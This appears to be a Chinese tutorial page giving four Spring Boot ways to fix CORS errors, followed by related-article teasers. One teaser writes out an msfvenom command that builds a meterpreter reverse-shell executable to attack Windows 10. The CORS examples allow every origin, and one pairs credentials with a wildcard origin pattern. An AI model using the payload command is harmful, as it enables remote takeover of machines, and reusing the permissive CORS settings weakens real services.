前后端分離跨域問題解決方案

Vue和SpringBoot的跨域問題的4中解決方案

跨域問題產生的原因:瀏覽器的保護機制,同源策略協議,域名,端口;三個中有一個不同就會產生跨域問題

解決方案(后端):

1.@CrossOrigin注解:

在目標方法上使用@CrossOrigin注解

?
@CrossOrigin@GetMapping("/captcha")public void captcha(HttpServletResponse response, HttpServletRequest request) throws IOException {SpecCaptcha captcha = new SpecCaptcha(150,40);String text = captcha.text();System.out.println(text);captcha.out(response.getOutputStream());}

2.在配置類中添加CORS過濾器

在配置類中寫過濾器一般用@bean注解

?
@Configurationpublic class CorsConfig {@Beanpublic CorsFilter corsFilter(){// ? ? ?  創建一個CorsConfiguration對象,用于存儲CORS配置。CorsConfiguration corsConfiguration = new CorsConfiguration();corsConfiguration.addAllowedOrigin("*");corsConfiguration.addAllowedMethod("*");corsConfiguration.addAllowedHeader("*");// ? ? ?  創建一個UrlBasedCorsConfigurationSource對象,用于存儲基于URL的CORS配置UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();// ? ? ?  將CORS配置注冊到所有URL模式(/**)。這意味著對于所有請求,都應用這個CORS配置。source.registerCorsConfiguration("/**",corsConfiguration);return new CorsFilter(source);}}

3.創建一個自定義CROS過濾器(實現Filter接口)

?
package com.kfm.bisheserve.filter;?import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;?/*** @author 27359* date:2024/5/29*/public class CorsFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);// 在這里添加過濾器初始化邏輯(CORS)}?@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {// ? ? ?  HttpServletResponse是ServletResponse接口的一個實現類,專門用于處理HTTP響應HttpServletResponse httpResponse = (HttpServletResponse) response;//設置CORS響應頭httpResponse.setHeader("Access-Control-Allow-Origin", "*"); // 允許所有域名訪問httpResponse.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE, PUT"); // 允許的HTTP方法httpResponse.setHeader("Access-Control-Max-Age", "3600"); // 預檢請求的緩存時間httpResponse.setHeader("Access-Control-Allow-Headers", "x-requested-with, authorization, Content-Type, Authorization, credential, X-XSRF-TOKEN"); // 允許的請求頭?// 如果是預檢請求(OPTIONS請求,一般是瀏覽器自己發送的請求),直接返回成功if ("OPTIONS".equalsIgnoreCase(((HttpServletRequest) request).getMethod())) {httpResponse.setStatus(HttpServletResponse.SC_OK);} else {// 如果是其他請求,繼續執行過濾器鏈,chain.doFilter()是Java Servlet API中的方法調用,用于在過濾器鏈中繼續執行下一個過濾器chain.doFilter(request, response);}}?@Overridepublic void destroy() {Filter.super.destroy();// 在這里添加過濾器銷毀邏輯(如果需要)}}
??

4.實現WebMvcConfigurer接口,重寫addCorsMappings方法

?public class CorsWebMvcConfig implements WebMvcConfigurer {// ?  配置CORS映射@Overridepublic void addCorsMappings(CorsRegistry registry) {registry.addMapping("/**") ?//這個映射適用于所有URL模式(/**),表示對于所有請求,都應用這個CORS配置.allowedOriginPatterns("/**") ?//這意味著允許所有域名的請求訪問你的后端服務。.allowedMethods("*") ?//這意味著允許所有類型的HTTP請求(如GET、POST、PUT、DELETE等)。.allowCredentials(true) //這通常與Access-Control-Allow-Origin響應頭一起使用,以允許跨域請求攜帶cookie。.maxAge(3600) ?//這意味著瀏覽器可以緩存預檢請求的結果,避免在每次跨域請求時都發送預檢請求.allowedHeaders("*"); //這意味著允許所有類型的請求頭。}}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/18435.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/18435.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/18435.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

界面控件DevExtreme v23.2亮點 - 標簽、表單、編輯器功能升級

DevExtreme擁有高性能的HTML5 / JavaScript小部件集合,使您可以利用現代Web開發堆棧(包括React,Angular,ASP.NET Core,jQuery,Knockout等)構建交互式的Web應用程序。從Angular和Reac&#xff0c…

腦圖工具 在學習系統架構中的使用

系統,有人把它比作一個黑盒,有人比作一個樹洞。呃,其實二者都隱含的表達了一個意思,盤根錯節,一言難盡,欲說還休,說了又像是隔靴搔癢,感覺沒說透。 學習,理解和展示一個…

計算機組成原理----移碼

在網上搜索移碼是什么,大概率會搜到一個結論:移碼是補碼符號位取反,可是真的是這樣嗎? 傳統的有符號整數是將二進制數的首位作為符號位,0表示正數,1表示負數。 但在移碼中,我們不再使用單獨的符號位來表示正負。而是通過一個固定的偏置量來將所有可能的指數值映射到一個無符…

力扣每日一題 5/28

題目:2951-找出峰值 給你一個下標從 0 開始的數組 mountain 。你的任務是找出數組 mountain 中的所有 峰值。 以數組形式返回給定數組中 峰值 的下標,順序不限 。 注意: 峰值 是指一個嚴格大于其相鄰元素的元素。數組的第一個和最后一個元…

C語言.順序表.通訊錄

基于順序表示實現通訊錄 1.通訊錄項目的功能要求2.代碼實現3.頭文件處理4.通訊錄的具體實現4.1通訊錄的初始化與銷毀4.1.1通訊錄的初始化4.1.2通訊錄的初始化銷毀 4.2通訊錄的添加與刪除數據4.2.1通訊錄的添加數據4.2.1通訊錄的刪除數據 4.3通訊錄的修改4.4通訊錄的查找4.5通訊…

熟悉電腦快捷鍵(包含部分VS)

有很多不太電腦的小白,這里給大家一些常用快捷鍵,希望幫助到大家學習~ ctrl c 復制(保留原內容) ctrl v 粘貼 ctrl x 剪切(跟復制不一樣的地方在于原內容清空) ctrl z …

【python】OpenCV—Tracking(10.2)

文章目錄 BackgroundSubtractorcreateBackgroundSubtractorMOG2createBackgroundSubtractorKNN BackgroundSubtractor Opencv 有三種背景分割器 K-Nearest:KNN Mixture of Gaussian(MOG2) Geometric Multigid(GMG) …

AURIX TC3xx單片機介紹-啟動過程介紹2

AURIX TC377,TC387,TC397用戶啟動程序流程 用戶啟動程序是在Boot Firmware之后運行的程序(即用戶程序里的第一級Boot Loader,類似Linux的Uboot),初始化過程是CPU0完成的。用戶可以根據不同的復位事件來選擇不同的執行路徑。 AURITX 2代芯片的主要啟動過程如下(該階段只…

WebGL學習(一)渲染關系

學習webgl 開發理解渲染關系是必須的,也非常重要,很多人忽視了這個過程。 我這里先簡單寫一下,后面盡量用通俗易懂的方式,舉例講解。 WebGL,全稱Web Graphics Library,是一種在網頁上渲染3D圖形的技術。它…

C++模板元編程--函數萃取

在C中&#xff0c;std::declval是一個非常有用的模板函數&#xff0c;它是標準庫<utility>頭文件的一部分。它的主要作用是在不創建對象的情況下&#xff0c;獲取該類型的引用&#xff0c;從而允許在編譯時表達式中使用該類型的成員函數或成員變量&#xff0c;即使沒有默…

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一個元素。 比如你輸入一個列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引該列表最后一個值&#xff0c;你可以 b a[-1] print(b) 結果如下&#xff1a; 7 索引從左往右是…

P9712 「QFOI R1」貼貼

「QFOI R1」貼貼 題目描述 小 R 是一個可愛的女孩子&#xff0c;她希望通過給洛谷題目寫題解的方式跟出題人貼貼。 她發現&#xff0c;如果從題解界面點擊“提交題解”按鈕&#xff0c;博客中會自動生成 URL 標識符&#xff0c;也就是文章的鏈接。 其中&#xff0c;標識符的…

GB/T 33133.2-2021 《信息安全技術 祖沖之序列密碼算法 第2部分:保密性算法》標準介紹

編寫背景 在數字化時代&#xff0c;信息安全的重要性日益凸顯。為了加強數據傳輸和存儲的安全性&#xff0c;中國國家標準GB/T 33133.2-2021應運而生。這一標準是祖沖之序列密碼算法系列的第二部分&#xff0c;專注于保密性算法&#xff0c;旨在提供一種高效、安全的數據加密解…

升級鴻蒙4.2新變化,新增 WLAN 網絡自動連接開關!

手機已經成為現代人生活中不可或缺的一部分&#xff0c;手機里的功能可以滿足大部分人的生活場景&#xff0c;但是最依賴的應該就是手機網絡&#xff0c;手機網絡突然變差怎么辦——消息發不出去&#xff1f;刷新聞速度變慢&#xff1f;仔細檢查后&#xff0c;發現其實不是手機…

什么是邊緣計算?它為何如此重要?天拓四方

隨著信息技術的快速發展&#xff0c;數據處理和計算的需求日益增大&#xff0c;特別是在實時性要求極高的場景中&#xff0c;傳統的云計算模式面臨著巨大的挑戰。在這樣的背景下&#xff0c;邊緣計算作為一種新興的計算模式&#xff0c;正逐漸受到業界的廣泛關注。那么&#xf…

msfconsole攻擊win10及簡陋版

kali 攻擊機IP 192.168.1.19 win10 肉雞 192.168.1.15 使用 msfvenom 生成木馬 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下來把木馬復制到 /var/www/html下 開啟 service apache2 start 即可下載&#xff0c;需要做…

python數據分析——分組操作1

參考資料&#xff1a;活用pandas庫 1、簡介 借助“分割-應用-組合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分組操作可以有效地聚合、轉換和過濾數據。 分割&#xff1a;基于鍵&#xff0c;把要處理的數據分割為小片段。 應用&#xff1a;分別處理每個數…

Linux shell編程學習筆記51: cat /proc/cpuinfo:查看CPU詳細信息

0 前言 2024年的網絡安全檢查又開始了&#xff0c;對于使用基于Linux的國產電腦&#xff0c;我們可以編寫一個腳本來收集系統的有關信息。對于中央處理器CPU比如&#xff0c;我們可以使用cat /proc/cpuinfo命令來收集中央處理器CPU的信息。 1. /proc/cpuinfo 保存了系統的cpu…

樹莓派開箱

1.樹莓派4B配置 CPU&#xff1a;64位1.5GHZ四核處理器。 GPU:Broadcom VideoCore VI500MHZ 藍牙5.0 電源Type C(5V 3A),也可以使用排針鏈接5V鋰電池最大放電電流必須達到3A。 還有千兆以太網等以后用到再說。 接下來進入文章重點 2.鏡像文件燒錄 前期準備&#xff1a;1…

「TypeScript系列」TypeScript 命名空間

文章目錄 一、TypeScript 命名空間1. 使用命名空間2. 命名空間與模塊的區別3. 總結 二、命名空間使用場景1. 防止命名沖突2. 組織和管理代碼3. 兼容其他庫或框架4. 大型項目中封裝功能模塊5. 總結 三、命名空間有哪些優缺點1. 優點&#xff1a;2. 缺點&#xff1a; 四、相關鏈接…